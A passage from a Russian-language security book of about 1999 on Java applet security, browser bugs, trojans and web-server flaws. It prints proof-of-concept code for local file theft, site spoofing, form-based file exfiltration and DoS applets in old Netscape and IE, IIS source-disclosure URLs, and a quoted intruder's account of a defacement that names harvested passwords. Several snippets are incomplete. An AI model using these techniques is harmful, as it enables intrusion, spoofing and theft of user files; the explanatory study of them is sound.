• класс java.security.Policy, отвечающий за политику безопасности. В каждый момент активен только один объект Policy, считывающий настройки из файла конфигурации. В этом файле можно описать, какие права доступа связаны с той или иной подписью и/или местом расположения файлов:

grant codeBase «http://www.somehost.com/*», signedBy «Signer»

{

permission java.io.FilePermission "/tmp/*", "read";

permission java.io.SocketPermission "*", "connect";

};

Новая модель безопасности имеет следующие особенности:

• настраиваемый контроль доступа, дающий возможность указать, что код, обладающий определенными правами доступа, имеет право на определенные действия. Этого можно было добиться и раньше, с помощью создания специализированных менеджеров безопасности и загрузчиков классов, новая же архитектура значительно упростила такую процедуру;

• легко конфигурируемая политика безопасности. Опять же ключевое слово здесь – «легко»;

• возможность легкого расширения множества прав доступа, то есть фактически контролируемых действий. Если раньше это требовало введения новых методов check* в SecurityManager, теперь достаточно описать еще одного наследника класса java.security.Permission;

• усиление контроля за всеми Java-приложениями: в настоящее время никакой код не считается безопасным априори. Локальный код может быть подвержен тем же проверкам, что и код апплета, хотя, конечно, никто не мешает ослабить этот контроль с помощью настроек.

Таким образом, схема работы довольно гибкая и позволяет эффективно реализовать любую политику безопасности.

Суровая действительность

До сих пор мы говорили о том, каким образом системы безопасности клиентских решений выглядят в идеальном случае, как это должно работать. Реально же большая часть проблем безопасности пользователей связана именно с ошибками в исполнении этих стройных схем.

Апплеты, мешающие работе

Java-приложения зависят от существующей для данной платформы виртуальной Java-машины. Java-машины реализованы для всех наиболее распространенных платформ, а также входят в состав самых популярных браузеров, но они достаточно ресурсоемки и зачастую довольно нестабильны. Кроме того, остаются проблемы совместимости – поскольку Java изначально проектировалась для написания многоплатформенных приложений, в нее преимущественно входили элементы, существующие на всех платформах, что привело к некоторой аскетичности доступных средств. Отдельные разработчики расширяют возможности виртуальных машин для конкретной платформы, и получается, что Java-приложение, использующее все эти возможности, утрачивает способность запускаться на других платформах.

Для начала рассмотрим ряд атак, прекрасно функционирующих в рамках существующей модели безопасности (на сегодняшний день – середина 1999 года – для большинства пользователей популярных браузеров таковой является схема из JDK1.1). Java достаточно хорошо справляется с защитой от нарушения целостности системы, но вот c оставшимися видами атак у нее явные проблемы. Большинство представленных здесь примеров прекрасно функционирует в Netscape Communicator 4.5. Internet Explorer 4.01 справляется с некоторыми из них намного лучше, но и у него есть «любимые мозоли». Так, один из вредоносных апплетов, приводящий к зависанию Windows 9x, активно использовал расширения Java от Microsoft, позволяющие работать напрямую с библиотеками DirectX.

Проще всего создаются апплеты, затрудняющие работу пользователя. К примеру, мы открываем какую-то WWW-страницу и вздрагиваем от несущегося из колонок раздражающего звука. Нами овладевает естественное желание немедленно уйти с этой страницы, но тут-то и выясняется, что звук никуда не делся и будет продолжаться до тех пор, пока мы не выйдем из браузера. А на дворе 2 часа ночи, в соседнем окне скачивается третий мегабайт 10-мегабайтного архива, сервер не поддерживает докачки и т. п. И вся проблема – в том, что автор апплета случайно или по злому умыслу пропустил код, выключающий звук при остановке апплета.

Мощное средство борьбы с пользователем – потоки. Они вовсе не обязаны остановиться при уходе со страницы, с которой был загружен апплет. В сочетании с установкой приоритета MAX_PRIORITY и обработчика исключительной ситуации ThreadDeath можно получить весьма живучего вредителя, который, к примеру, начнет следить за всеми запускаемыми апплетами и останавливать их потоки.

Еще один вариант сценария отказа в обслуживании (Denial of Service – DoS): открываем поток с большим приоритетом и начинаем искать в нем простые числа в диапазоне от 1 до 10100, не забывая насвистывать любимую мелодию, либо запускаем бесконечный цикл и создаем в нем окна размером, например, миллион на миллион пикселей (клавиатура и мышь у клиента будут заблокированы очень скоро):

while(true)

{

try

{

littleWindow = new bigFrame("Hello!");

littleWindow.resize(1000000, 1000000);

littleWindow.move(-1000, -1000);

littleWindow.show();

}

catch (OutOfMemoryError o)

{

repaint();

}

class bigFrame extends Frame

{

Label 1;

bigFrame(String title)

{

super(title);

setLayout(new GridLayout(1, 1));

Canvas whiteCanvas = new Canvas();

whiteCanvas.setBackground(Color.white);

add(whiteCanvas);

}

Впрочем, DoS-атаки не слишком интересны, пишутся без особых усилий и порой без осознанного участия автора апплета. Чтобы убедиться в этом, достаточно походить по иным перегруженным апплетами страницам. У окон сверхбольшого размера есть еще один интересный аспект – в этом случае на экран просто не помещается стандартное сообщение о том, что пользователь видит окно, созданное апплетом. А здесь уже открываются широкие возможности для социальной инженерии (см. главу 2). Наконец, мы можем воспользоваться потоками, чтобы заставить посетителя немного поработать на нас. Конечно, апплет имеет право установить сетевое соединение только с хостом, с которого он был запущен, но нам большего и не надо. Пишем сервер, способный обмениваться информацией с апплетом, запускаем его на том же хосте – и все, распределенная система поиска очередного простого числа, поиска опровержения большой теоремы Ферма или просто подбора паролей готова к работе. Можно даже не изобретать какой-то свой протокол, а воспользоваться готовыми – получать очередное задание по http, отправлять результаты по SMTP, заодно узнать побольше о пользователе. Возможности Java в этом плане ограничены, но в нашем распоряжении есть JavaScript, на котором можно написать, к примеру, код, собирающий информацию об установленных у клиента дополнительных модулях и передающий ее апплету:

/* Unplugged.java by Mark D. LaDue */

/* April 15, 1998 */

import netscape.applet.*;

import netscape.javascript.*;

public class Unplugged extends java.applet.Applet implements Runnable{

Thread controller = null;

JSObject jso = null;

int numplugs = 0;

String npname = null;

String[] plugs = null;

int histlen = 0;

public void init() {

jso = JSObject.getWindow(this);

}

public void start() {

if (controller == null) {

controller = new Thread(this);

controller.start();

}

public void stop() {}

public void run() {

Control.showConsole();

numplugs = (new Float((jso.eval("pcount()")).toString())).intValue();

System.out.println("\nTotal number of plugins: " + numplugs + "\n");

plugs = new String[numplugs];

for (int i = 0; i < numplugs; i++) {

plugs[i] = (String) jso.eval("nextPlug()");

System.out.println("Plugin " + (i+1) + ": " + plugs[i] + "\n");

}

histlen = (new Float((jso.eval("hcount()")).toString())).intValue();

System.out.println("Total number of history entries: " + histlen);

}

Для демонстрации нужно включить в html-файл следующий код:

navigator.plugins.refresh(true);

pcnt = 0;

hcnt = 0;

function pcount() {

var pc = navigator.plugins.length;

return pc;

}

function nextPlug() {

var np = navigator.plugins[pcnt].filename;

pcnt++;

return np;

}

function hcount() {

var hc = history.length;

return hc;

}

</SCRIPT>

Атака на святая святых

Атаки, подобные перечисленным ранее, используют вполне законопослушный код, не предпринимают никаких попыток взломать систему безопасности Java и пишутся очень легко. Теперь же настала очередь атак другого рода, использующих прорехи в реализации виртуальных машин. Они очень наглядно демонстрируют, как небольшая ошибка сводит на нет работу всей системы безопасности. Все эти ошибки уже благополучно исправлены, но каждая из них могла привести к очень серьезным последствиям:

1. Первая и едва ли не самая громкая ошибка в Java, даже удостоившаяся внимания некомпьютерной прессы, позволяла обойти ограничение на соединение с посторонними хостами. Не будь этого ограничения, Java бы превратилась в идеальный инструмент взломщика, позволяющий делать черную работу чужими руками. При загрузке апплета запоминалось имя хоста. Взломщик, имеющий доступ к DNS-серверу своего домена, вполне мог подставить вместо своего адреса адрес жертвы. С тех пор все реализации Java запоминают IP-адрес сервера, с которого они загружались, а не имя хоста.

2. Netscape Navigator 2.01 воспринимал имя класса, начинающееся с символа «\», как вполне нормальное, что позволяло ссылаться практически на любой файл в системе, например лежащий в кэше браузера. Причем этот файл воспринимался уже как локальный и не попадал под ограничения для апплетов, загруженных из сети.

3. Ошибка, дающая возможность воспользоваться смешением типов.

4. Ошибки в верификаторе и механизме загрузки классов, позволяющие апплету создать свой ClassLoader. Это легко приводит к полному проникновению в систему. Защита строилась на том, что при создании нового ClassLoader вызывается конструктор предка, который возбуждает исключительную ситуацию. Был найден способ обойти вызов конструктора предка. Ошибка исправлена следующим образом: функция ClassLoader.defineClass, выполняющая ранее всю критичную работу, стала проверять флаг, устанавливаемый в конструкторе, и, только если он был установлен, вызывать private-функцию defineClass0.

5. Ошибка, связанная с приведением типов.

6. Проблема с пространствами имен. В двух разных апплетах могут быть описаны классы, имеющие одинаковые имена. Поскольку они выполняются в разных пространствах имен, проблема смешения типов не возникает. Но в Netscape Navigator 2.02 и первой бета-версии Internet Explorer типы исключений и интерфейсов сравнивались по именам, а не по парам (имя, пространство имен). И если один апплет передавал другому в качестве параметра объект такого класса, возникала стандартная ситуация смешения типов.

7. Незадолго до выхода Internet Explorer 3.0 в его последней бета-версии была обнаружена ошибка, связанная с именами пакетов (packages). Пакеты представляют собой группы классов, объединенных под одним именем. Их назначение двояко: во-первых, полное имя класса включает в себя имя пакета, которому он принадлежит; во-вторых, пакеты можно использовать для ограничения доступа – если не указан спецификатор доступа, считается, что переменная или функция доступна только классам этого пакета. Некоторые пакеты ограничивают свое членство лишь классами, входящими в стандартную поставку, за чем следит менеджер безопасности. Ошибка заключалась в следующем: менеджер безопасности учитывал только часть имени пакета при проверке контроля доступа, что не срабатывало для пакетов, чье имя начиналось с com.ms. В результате посторонний пакет мог получить доступ к внутренним переменным системных пакетов, в том числе к списку файлов, к которым апплет может получить доступ.

Остановимся чуть подробнее на некоторых из них.

Смешение типов может работать следующим образом. Предположим, что у нас есть два класса

class T

{

SecurityManager x;

}

class U

{

MyObject x;

}

Далее заводим два указателя – t класса T и u класса U, каким-то образом заставляем их указывать на одну и ту же область памяти, после чего выполняем следующий код:

t.x = System.getSecurity(); // получаем SecurityManager MyObject m = u.x;

Теперь m указывает на ту же область памяти, где находится SecurityManager, и мы можем безболезненно менять его содержимое через поля объекта m. Подобная атака сработает при любом смешении типов, остается лишь найти ошибку, позволяющую проделать подобное совмещение указателей.

И такая ошибка была найдена в одной из бета-версий Netscape Navigator. При создании класса T неявно создается тип массив класса Т для внутреннего пользования. Его имя начинается с «[», и, поскольку нельзя создать класс, имя которого начинается с этого символа, все работает безошибочно. Но в той версии Netscape Navigator удавалось загрузить класс с таким именем. Точнее, при этом выдавалась ошибка, но виртуальная машина устанавливала имя в своей внутренней таблице. В результате Java считала объект массивом, хотя он принадлежал совсем другому типу. Итог – замена SecurityManager и потенциальный захват системы.

Ошибка, связанная с приведением типов:

interface Inter

{

void f();

}

class Secure implements Inter

{

private void f();

}

class Dummy extends Secure implements Inter

{

public void f();

Dummy()

{

Secure s = new Secure();

Inter i = (Inter) s;

i.f();

}

В этом коде вызов i.f() должен быть опознан как вызов защищенного метода класса Secure и запрещен. Неверное поведение Netscape Navigator 2.02 привело к возможности вызова закрытой функции defineClass0, призванной исправить ошибки в верификаторе и механизме загрузки классов. Небольшая модификация этой же ошибки:

interface Inter

{

void f();

}

class Secure implements Inter

{

private void f();

}

class Dummy implements Inter

{

public void f();

static void attack()

{

Inter inter[2] = {new Dummy(), new Secure() };

for(int j=0; j<2; ++j) inter[j].f();

}

Выяснилось, что в целях оптимизации проверка на корректность вызова осуществлялась только при первом проходе цикла.

Ошибка в бета-версии Internet Explorer 3.0 была последней серьезной ошибкой, найденной в реализациях JDK 1.0.2. После ее обнаружения и до выхода JDK 1.1 прошло шесть спокойных месяцев.

Далее последовали ошибки, позволяющие определить реальный IP-адрес машины и список открытых портов, получить список авторов, подписям которых доверяют на этой машине, и сымитировать доверяемую подпись, отключить контроль за безопасностью в Netscape Navigator 4.0x, и еще 24 ошибки в верификаторе от JDK 1.0.2, 15 из которых перешли в 1.1.1, и 17 ошибок в верификаторе Internet Explorer.

Таким образом, несмотря на все заявления об окончательном решении проблемы безопасности в Java, нельзя не заметить, что до сих пор во всех ее реализациях были обнаружены серьезные ошибки, и нет оснований в ближайшее время рассчитывать на ее полную безопасность.

Не только Java

Не будем подробно останавливаться на каждой ошибке, обнаруженной в популярных браузерах, постараемся лишь выделить основные из них. Соответствующая информация регулярно появляется на сайтах производителей (для Internet Explorer – http://www.microsoft.com/windows/ie/security/, для Netscape Navigator – http://home.netscape.com/products/security/resources/notes.html), оттуда же можно скопировать последние обновления и исправления, что обязательно стоит сделать, если вы хотите чувствовать себя в относительной безопасности при работе в Сети.

Можно выделить две основные категории ошибок в браузерах, не связанных непосредственно с Java: ошибки, позволяющие передать по сети содержимое локальных файлов и другой информации о пользователе, и ошибки, приводящие к нарушению работоспособности браузера, а в отдельных случаях и всей системы.

Ошибки первого типа наиболее разнообразны по способу реализации. Большинство ошибок Netscape Navigator связано с JavaScript. Среди них можно выделить передачу файлов через форму без ведома пользователя, использование средств взаимодействия Java и JavaScript для отслеживания действий пользователя (посещаемые сайты, данные, отправляемые через формы), получение файла с пользовательскими настройками (к примеру, пароль для доступа к почтовому серверу), «подделка» сайтов – отображение в окне браузера информации, не соответствующей адресной строке.

Так, следующий код, работающий в Netscape Navigator 4.5, демонстрирует считывание файла с локального диска. В примере первые несколько строк файла c: \test.txt выводятся в окне сообщения, этот же код можно использовать и для передачи содержимого на сервер через форму или каким-то другим способом.

sl=window.open("wysiwyg://1/file:///C|/");

sl2=sl.window.open();

sl2.location=

"javascript:s=’<SCRIPT>b=\"Here is the beginning of your file: \";"+

"var f = new java.io.File(\"C:\\\\\\\\test.txt\");"+

"var fis = new java.io.FileInputStream(f);"+

"i=0; while ( ((a=fis.read()) != -1) && (i<100) )"+

"{ b += String.fromCharCode(a);i++;}alert(b);</’+’SCRIPT>’";

</SCRIPT>

Следующий код демонстрирует технику подделки сайтов: строка адреса указывает на www.yahoo.com, в окне же находится любой текст, который вы вывели с помощью JavaScript, например форма с вводом пароля и т. п.

function doit()

{

a.document.open();

a.document.write("Любой html-код");

a.document.close();

}

function winopen()

{

//Можно также использовать

//a=window.open("view-source:javascript:location=’wysiwyg://1/http://www.yahoo.com’;");

a=window.open("view-source:javascript:location=’http://www.yahoo.com’;");

setTimeout("doit()",300);

}

</SCRIPT>

<BR>

<A HREF="javascript:void(0)" onclick="winopen()"

onMouseOver="window.status=’http://www.yahoo.com’;return true">

Follow this link to go to www.yahoo.com (or somewhere else)

</A>

Среди ошибок, характерных для Internet Explorer, помимо традиционных проблем с JavaScript, приводящих все к тому же слежению за пользователем и передаче файлов через формы, можно выделить ошибки, использующие тесную интеграцию Internet Explorer с другими системными объектами и обходящие защиту, основанную на зонах безопасности. При этом активно используются объекты ActiveX.

Так, например, добавление %01someURL\' к какому-то другому адресу заставляет Internet Explorer считать, что документ загружен из домена, которому принадлежит someURL. Этот пробел в безопасности может использоваться и для считывания локальных файлов с диска пользователя, и для подделки сайтов.

Следующий код заставляет Internet Explorer считать, что объект TDC создается из файла на жестком диске, и дает ему возможность работать с локальными файлами. Дальнейшее развитие этой идеи вполне может привести к созданию полноценного html-вируса, размножающегося при загрузке из Сети, а не только из локального файла, как это было с вирусом HTML.Internal:

s="about:<SCRIPT>a=window.open(’view-source:x’);a.document.open();"+

"a.document.write(\"<object id=’myTDC’ width=100 height=100"+

"classid="CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83\'>"+

"<param name=’DataURL’ value=’c:/test.txt’>"+

"<param name=’UseHeader’ value=False>"+

"<param name=’CharSet’ VALUE=’iso-8859-1\'>"

"<param name=’FieldDelim’ value=’}’>"+

"<param name=’RowDelim’ value=’}’>"+

"<param name=’TextQualifier’ value=’}’>"

"</object><form><textarea datasrc=’#myTDC’ datafld=’Column1\' rows=10 cols=80>"+

"</textarea></form>\");a.document.write"+

"(\'<SCRIPT>setTimeout(\"alert(document.forms[0].elements[0].value)\",4000)</SCRIPT’);"+

"a.document.write(’>’);a.document.close();close();</"+

"SCRIPT>%01file://c:/";

b=showModalDialog(s);

</SCRIPT>

Использование этой же ошибки в целях подделки сайтов демонстрирует следующий код:

b=showModalDialog(

"about:<SCRIPT>a=window.open(’http://www.yahoo.com’);"

+"a.document.write(’<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD>Любойhtml-код’); close()</"

+"SCRIPT>%01http://www.yahoo.com");

</SCRIPT>

В ряде ошибок, обнаруженных J. C. G. Cuartango, встречаются различные модификации идеи применять буфер обмена Windows для передачи информации о компьютере клиента. Самый первый вариант скрипта выглядел так:

functiongetfile()

{

document.forms[1].T1.select();

document.execCommand("copy");

document.forms[0].filename.select();

document.execCommand("paste");

document.forms[0].submit();

}

Подразумевается, что в документе присутствует форма со скрытым полем T1 и полем filename, предназначенным для передачи файла на сервер. В нормальной ситуации имя файла может быть задано только пользователем, здесь же демонстрируется возможность копирования содержимого поля T1 в буфер обмена с последующей его вставкой в filename и автоматическим отправлением формы. В другом варианте скрипта использовался объект selection, в более поздних – объекты ActiveX Microsoft Forms 2.0 TextBox и Microsoft Web Browser.

Оба браузера очень слабо защищены от всевозможных вариаций на тему бесконечных циклов, рекурсий и т. п., поглощающих ресурсы системы и приводящих к зависанию либо аварийному завершению работы браузеров.

Немного поодаль отстоят ошибки Internet Explorer, связанные с переполнением буфера при обработке нестандартных URL большой длины (res:// и mk://). Это открывает возможность передачи в URL кода, который будет выполнен непосредственно на компьютере клиента. Демонстрацию использования этой ошибки в сочетании с обнаруженной незадолго до того ошибкой в Pentium, приводящей к полному «замораживанию» системы, можно увидеть на странице http://www.l0pht.com/advisories/pentium.htm.

Безопасность других клиентских приложений

Говоря о безопасности пользователя при работе с Internet, было бы не совсем корректно ограничиться одними браузерами. Во-первых, некоторые программы (почтовые клиенты, html-редакторы и т. п.) интенсивно используют возможности браузеров для отображения html. Популярные почтовые клиенты давно уже позволяют работать с письмами в html-формате и не ждать, когда потенциальная жертва зайдет на страницу с опасным кодом, а доставить его непосредственно по месту назначения. При этом, правда, можно использовать зоны безопасности для отключения возможности исполнения JavaScript и прочих активных элементов из этих файлов либо вообще запретить JavaScript (единственный вариант, хотя и не совсем приемлемый для пользователей NetscapeNavigator). С аналогичными проблемами сталкиваются пользователи почтовых программ, не умеющих самостоятельно читать html-сообщения и вызывающих с этой целью браузер, который считает эти файлы локальными и не особо препятствует им в их черном деле.

До недавнего времени «почтовые вирусы» занимали почетное место в Internet-мифологии. Сообщения типа «Письмо с пометкой Good Times содержит вирус, который мгновенно заразит ваш компьютер при попытке прочтения! Сообщите об этом всем своим знакомым» хорошо знакомы многим старожилам Сети, которые прекрасно знают, что роль вируса здесь на самом деле играет само письмо, расходящееся кругами по сотням тысяч адресатов, поглощающее огромное количество сетевого трафика и вынуждающее людей тратить огромное количество времени в поисках защиты от несуществующих проблем.

Однако не так давно ошибки, связанные с переполнением буфера и синхронно обнаруженные в Netscape Mail и Outlook Express, сделали былью и эту сказку. Методы проникновения несколько различаются, но идея в обоих случаях одна – использование присоединенных файлов. Причем проблема не в самом файле (это может быть любой – exe, txt, gif и пр.), а в тэгах, его описывающих. Другими словами, чтобы быть атакованным, даже не надо открывать этот файл – достаточно прочитать письмо.

Тесная интеграция с офисными приложениями в сочетании с обнаруженными в них ошибками сделала реальными и другие сценарии. Например, уже сейчас вы можете получить письмо в html-формате, которое будет содержать код на JavaScript, открывающий некоторую страницу в Internet. На той странице будет лежать документ в формате Word 97, который при наличии этой программы на вашем компьютере немедленно начнет работу. Далее Word загрузит присоединенный к этому документу шаблон с макросом, автоматически выполняющимся при открытии документа, и если у вас не установлена последняя заплатка, то макрос запустится без единого вопроса. А макросы, написанные на Visual Basic for Applications, – это вполне полноценные программы, имеющие доступ ко всем ресурсам вашего компьютера. Впрочем, это не повод доверять подобным письмам, не содержащим ни малейшей информации о том, какая именно ошибка и в каком почтовом клиенте может привести к таким катастрофическим последствиям.

Остальные клиентские приложения распространены в гораздо меньшей степени, чем браузеры и почтовые клиенты, и ошибки, в них обнаруживаемые, затрагивают гораздо меньшие слои пользователей. Наибольшие проблемы среди них создают всевозможные программы для интерактивного общения – так называемые chats (чаты), Internet-телефоны, средства передачи сообщений и т. п. Многие из них не слишком заботятся о безопасности пользователя, позволяя получить большое количество информации о его системе, начиная от IP-адреса и самого факта его нахождения в сети, а заканчивая временем суток и типом операционной системы, что существенно упрощает задачу целенаправленной атаки. Кроме того, большинство программ использует не слишком надежные протоколы передачи информации (притчей во языцех стало количество «дырок» в ICQ), средства автоматизации работы с помощью макроязыков, позволяющие провести атаку, предложив жертве «боевой скрипт». Наконец, они являются едва ли не главным источником распространения всевозможных вирусов и «троянцев» – ну как не запустить программу с поздравительной открыткой, присланную новым знакомым по чату!

Вирусы и «троянские» кони

Говоря о безопасности в современной сети, нельзя не упомянуть ставшую довольно острой в последнее время проблему компьютерных вирусов и «троянских» коней. И те, и другие – всего лишь программы, обладающие некоторыми специфическими свойствами. «Троянский» конь, или «троянец», – это общее название для любых программ, выполняющих некоторые посторонние, как правило, нежелательные для пользователя функции. Вирусы часто путают с «троянцами», граница тут действительно тонкая: но если под определение «троянца» подходит даже команда format c:, набранная по совету старшего товарища неопытным пользователем, то главная отличительная черта вирусов – способность размножаться, то есть воспроизводить свой код. В качестве носителя вируса могут выступать исполняемые файлы, загрузочные секторы дисков, документы программ, способных исполнять макрокоманды, и т. п. – практически любые объекты, выполняющие запрограммированную последовательность действий. О вирусах и «троянцах» можно говорить довольно долго, но нас сейчас они интересуют с точки зрения взаимодействия с Internet.

В первую очередь, конечно, Сеть представляет собой идеальное средство распространения такого рода программ. Рядовой пользователь не слишком размышляет перед тем, как открыть полученный по почте документ MS Word или как скачать с сервера бесплатных программ очередное украшение для Рабочего стола. В последнее время люди, наученные горьким опытом, становятся более осторожными, но общая картина по-прежнему безрадостная.

1998-й год можно смело назвать годом «троянцев». Конечно, атаки такого рода происходили и раньше, техника небольшой модификации кода, приводящая к возможности захвата хоста, была очень популярной в UNIX-системах, но подобных массовых явлений история не помнит. Год начался со скромных поделок, представляющих собой обычные пакетные файлы, сжатые с помощью WinZip в самораспаковывающиеся архивы. Иногда фантазии авторов хватало на преобразование bat-файлов в com, внутри же, как правило, были всевозможные комбинации из команд format, deltree и т. п. Чуть позже были освоены конструкции, включающие в себя программы типа pwlview, предназначенные для извлечения из pwl-файлов имен и паролей для доступа к Internet, а также средства для отправки полученных результатов на некоторый адрес. Разумеется, чтобы заставить пользователя запустить это изделие, придумывались всевозможные приманки. Почетные места в этом ряду занимают «крякер интернета», позволяющий получить заветный бесплатный доступ у любого провайдера, всевозможные 3dfx-эмуляторы и icq-ускорители, а также личные письма от компании Microsoft, в знак большой признательности присылающей лично вам последние заплатки, исправляющие очень опасную брешь в системе.

Самым же ярким событием года стало августовское явление миру BackOrifice. Эта программа – основоположник нового поколения «троянцев», количество которых на данный момент исчисляется десятками (к радости пользователей NT, большинство из них в этой ОС функционировать не может). Фактически она представляет собой средство удаленного администрирования и состоит из двух частей – сервера и клиента. До сих пор все вполне прилично и ничем не отличается от того же PCAnywhere. Однако поведение сервера принципиально иное: после запуска он тихо добавляет себя в раздел реестра, отвечающий за автоматическую загрузку приложений при старте системы, и начинает ждать соединения на определенном порту. Соединившись с сервером при помощи клиента, с серверным компьютером можно делать практически что угодно: получать список процессов, запускать/удалять процессы, копировать/ удалять файлы, каталоги, перенаправлять входящие пакеты на другие адреса, работать с реестром, выводить диалоговые окна, блокировать систему. Одним словом, машина оказывается под полным контролем.

Появление BackOrifice стало несомненным подарком антивирусной индустрии. С тех пор сообщения о выходе очередной вариации на тему BO с последующими победными реляциями антивирусных компаний о появлении противоядия поступают с удивительным постоянством. С другой стороны, накатившая волна «троянцев» привлекла повышенное внимание к теме сетевой безопасности и поставила на повестку дня вопрос о необходимости хотя бы минимального просвещения пользователей. Тем более что жертвами BO порой становились не только пользователи, но и целые системы, включая Web-серверы. Так, прошлогодний взлом Relcom-Ukraine был осуществлен именно с помощью BO, внедренного всего лишь на одну машину в офисе провайдера, причем даже не самими взломщиками (рис. 10.4). Позволим себе процитировать фрагмент описания дальнейших событий (полностью текст статьи доступен на http://www.hackzone.ru/articles/relcom.html):

Рис. 10.4. Подмененная страница Relcom-Ukraine

«Я посоветовался со своим «коллегой», и мы решили пока просто понаблюдать за тем, как работает первый украинский провайдер, чужой опыт всегда полезен…

Кейлоги (от англ. «key log» – программа, записывающая все нажатия на клавиатуре. – Примеч. авторов) велись круглосуточно практически на всех машинах, а потом мы выкачивали их, пользуясь двумя редиректами (от англ. «redirect» – промежуточный хост, используемый для сокрытия истинного адреса взломщика. – Примеч. авторов). Кстати, устанавливать редиректы мне просто нравится, и, как показывает практика, в том режиме, в котором мы работаем, найти нас невозможно. Много раз наши кейлоги регистрировали смену паролей. Самый простой пароль имел 5 символов (User: alesha, passw: mzo.5), а стандартные включали по 8–9 символов (Se05WebMr, NiaTwThly, EpK0Qw33). Немного посовещавшись, мы приняли решение всего лишь поменять WWW – хоть моральное удовлетворение получить. Здесь нас поджидали некоторые трудности. Во-первых, машина ultra.ts.kiev.ua (на ней хранится WWW) оказалась уж очень хорошо защищена. Нам пришлось установить редирект на офисной машине с романтичным названием Olways для входа на нее телнетом.

Но выход мы нашли. В субботу утром мы, пользуясь редиректами, закачали в один сильно захламленный инкаминг (от англ. «incoming» – каталог для записи на ftp. – Примеч. авторов) забытой богом ФТП файлы с нашей страничкой. Затем, используя двойной редирект, зашли сначала телнетом на машину uacom.ts.kiev.ua (дозвоночный сервер), проверили пароли к главному серверу.

Когда мы зашли на ultra.ts.kiev.ua, то, запустив ftp-клиент, повытягивали наши заготовки пока что в каталог zz. Ну а затем уже одному не составляло труда менять WWW, пока другой чистил логи (от англ. «log» – файлы регистрации. – Примеч. авторов) под другим паролем (кстати, root там висит как пользователь постоянно).

Вот и все».

Не стояли на месте и авторы вирусов, чья деятельность на некоторое время ушла в тень гривастых собратьев. Последние достижения – вирус, заражающий html-файлы (реализованный на VBScript и использующий ActiveX-объекты), и почтовый червь, размножающийся путем присоединения своего исполняемого модуля ко всем почтовым отправлениям.

Опасность заражения вирусами и «троянцами» вполне реальна, и с этой угрозой приходится иметь дело всем пользователям Сети. Лучший способ борьбы с вирусами – не допустить их попадания в вашу систему, и хотя авторы не верят, что можно заставить всех пользователей отказаться от загрузки файлов с неизвестных сайтов и от неизвестных людей или хотя бы проверять их антивирусами, хочется надеяться на победу просвещения. Будьте бдительны!

Атака на Web-сервер

Собственно Web-сервер – это программное обеспечение, осуществляющее взаимодействие по HTTP-протоколу с браузерами: прием запросов, поиск указанных файлов и передача их содержимого, запуск CGI-приложений и передача клиенту результатов их выполнения.

Безопасность Web-сервера представляет собой лишь небольшой компонент общей системы безопасности хоста Internet. Под словами «взлом сервера» чаще всего подразумевается замена или модификация страниц Web-сервера – самое зрелищное проявление атаки на сервер, хотя на самом деле может оказаться лишь побочным продуктом захвата управления всем хостом.

В то же время существуют проблемы безопасности, характерные именно для Web-серверов. Воспользовавшись ими, взломщик может получить стартовую площадку для дальнейшего проникновения в систему (поэтому по-прежнему остается в силе рекомендация вынести Web-сервер, как и все другие службы, требующие внешнего доступа, на отдельную машину, по возможности изолированную от внутренней сети). Именно проблемам безопасности, возникающим в системе после установки Web-сервера, и посвящен данный раздел.

Безопасность стандартного серверного ПО

Ошибки в серверах

Ситуация с серверами примерно такая же, как и с браузерами: установив последнюю версию плюс все вышедшие обновления/исправления, можно быть более-менее уверенным в отсутствии явных ошибок. Однако расслабляться не нужно – сообщения об обнаруживаемых новых ошибках продолжают поступать с удручающей периодичностью. Кроме того, если пользователь клиентского ПО еще может утешать себя мыслью, что на него просто не обратят внимания (шанс целенаправленной атаки против клиента действительно невелик), то создателю Web-ресурса рассчитывать на снисходительность взломщиков не приходится.

Выделим основные классы ошибок в собственно серверах:

1. Ошибки, приводящие к утрате конфиденциальности. Наиболее распространены в последнее время, дают возможность получить неавторизованный доступ к информации: обойти систему аутентификации, просмотреть исходный код критичных приложений и т. д.

2. Ошибки, приводящие к атакам типа «отказ в обслуживании» (DoS). Носят исключительно деструктивный характер, приводят сервер в состояние, когда он неспособен выполнять свои штатные функции, будучи занят обработкой ложных запросов.

3. Ошибки, приводящие к выполнению на сервере неавторизованного кода. Позволяют запускать на выполнение программы, уже существующие на сервере, но не предназначенные для общего доступа, а также передавать на сервер свой исполняемый код. Последнее характерно для ошибок, связанных с переполнением буфера.

Перечисленные ниже ошибки, как правило, уже давно исправлены и широко известны, но кто знает – вдруг именно вам не повезет (или повезет).

Старая ошибка в Microsoft Internet Information Server (IIS) и ASP – при добавлении точки к адресу некоего asp-файла мы вместо результата его работы получаем его исходный текст. Ошибка устранялась правильным администрированием – отключением права на чтение в каталоге, где размещены скрипты. Вышедшее исправление этой ошибки привело к появлению новой – использование в имени скрипта вместо символа «.» его шестнадцатеричного представления (%2e) давало такой же результат (http://www.victim.com/scripts/script%2easp).

Аналогичная ошибка существует в MS Personal Web Server, а летом 98-го года были обнаружены сходные ошибки в серверах Netscape Enterprise и O\'Reilly&Associates\' WebSite Professional – просмотреть содержимое скриптов можно было, добавив к URL %20 (шестнадцатеричное представление пробела). Синхронно обнаружены «дырки» в IIS всех версий, приводящие к тому же результату при добавлении к URL конструкции «::$DATA» (http://www.victim.com/scripts/script.asp::$DATA) и использующие возможность альтернативного обращения к содержимому файла для файловой системы NTFS через так называемые потоки данных (data streams).

При установке IIS на контроллер домена пользователь IUSR_hostname, находящийся обычно в группе Guests, мог попасть в группу Domain Users. Таким образом, пользователь Anonymous (посетитель Web– или ftp-сервера) получал права пользователей домена со всеми вытекающими последствиями.

CERN httpd-сервер – использование дополнительных «/» позволяло обходить ограничения доступа к каталогу (http://www.victim.com//secret/index.html). В предыдущей главе уже упоминалась ошибка, с помощью которой злоумышленник мог выйти за пределы пространства, отведенного под WWW, указав URL вида http://www.victim.com/…/. Это наблюдалось под Personal Web Server.

Любопытная ошибка, связанная с длинными именами файлов. Файл, имя которого не укладывается в рамки 8 + 3, в Windows NT/95 может быть доступен как по длинному, так и по короткому имени: к verylongname.html можно обратиться и как к verylo~1.htm. Многие Web-серверы позволяли получить доступ через короткое имя к файлу с длинным именем, доступ к которому был закрыт.

Старые версии Apache включали не слишком эффективный код (порядка n 2), удаляющий дублирующие символы «/», что делало возможным атаковать сервер множественными запросами с большим количеством этих символов.

